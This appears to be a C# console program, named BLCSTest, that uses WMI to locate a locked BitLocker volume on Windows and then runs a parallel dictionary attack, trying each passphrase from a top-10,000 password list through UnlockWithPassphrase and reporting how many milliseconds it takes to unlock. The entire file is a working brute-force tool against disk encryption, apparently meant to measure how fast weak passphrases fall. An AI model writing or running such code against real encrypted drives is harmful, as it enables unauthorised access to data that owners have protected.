using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using ORMi;

namespace BLCSTest{
    internal class Program{
        private const uint FVE_E_FAILED_AUTHENTICATION = 0x80310027;
        public static void Main(string[] args){
            const int LOCKED = 1;
            const int UNLOCKED = 0;
            const uint FVE_E_FAILED_AUTHENTICATION = 0x80310027;
            WMIHelper helper = new WMIHelper("Root\\CIMV2\\Security\\MicrosoftVolumeEncryption");
            List<EncryptableVolume> volumes = helper.Query<EncryptableVolume>().ToList();
            EncryptableVolume encryptedVolume = null;

            Parallel.ForEach(volumes, (volume) => {
                var lockStatus = volume.GetLockStatus();
                if(lockStatus.Status == LOCKED){
                    encryptedVolume = volume;
                }
            });
            Console.WriteLine("[*] Found Drive {0}",encryptedVolume.PersistentVolumeID);
            List<string> passwords = File.ReadAllLines(@"X:\path\to\10-million-password-list-top-10000.txt",Encoding.Default).ToList();
            bool stopWatchStop = false;
            TimeSpan timeSpan = TimeSpan.Zero;
            Stopwatch stopwatch = new Stopwatch();
            stopwatch.Start();
            Parallel.ForEach(passwords, (password) => {
                encryptedVolume.UnlockWithPassphrase(password);
                if(encryptedVolume.GetLockStatus().Status == UNLOCKED){
                    if(!stopWatchStop){
                        stopWatchStop = true;
                        stopwatch.Stop();
                        timeSpan = stopwatch.Elapsed;
                    }
                    Console.WriteLine("[*] Unlocked in {0}",timeSpan.TotalMilliseconds);
                    Environment.Exit(0);
                }
            });
        }
    }
}

[WMIClass("Win32_EncryptableVolume")]
public class EncryptableVolume : WMIInstance
{
    public string DeviceID {get; set;}
    public string PersistentVolumeID {get; set;}
    public string DriveLetter {get; set;}
    public int ProtectionStatus {get; set;}
    
    public VolumeVersion GetVersion(){
        return WMIMethod.ExecuteMethod<VolumeVersion>(this);
    }
    public class VolumeVersion{
        public int Version{ get; set; }
        public int ReturnValue { get; set; }
    }
    public LockStatus GetLockStatus(){
        return WMIMethod.ExecuteMethod<LockStatus>(this);
    }
    public class LockStatus{
        [WMIProperty("LockStatus")]
        public int Status{ get; set; }
        public int ReturnValue { get; set; }
    }
    public UnlockStatus UnlockWithPassphrase(string passphrase){
        return WMIMethod.ExecuteMethod<UnlockStatus>(this, new { Passphrase = passphrase });
    }

    public class UnlockStatus{
        public uint ReturnValue { get; set; }
    }
}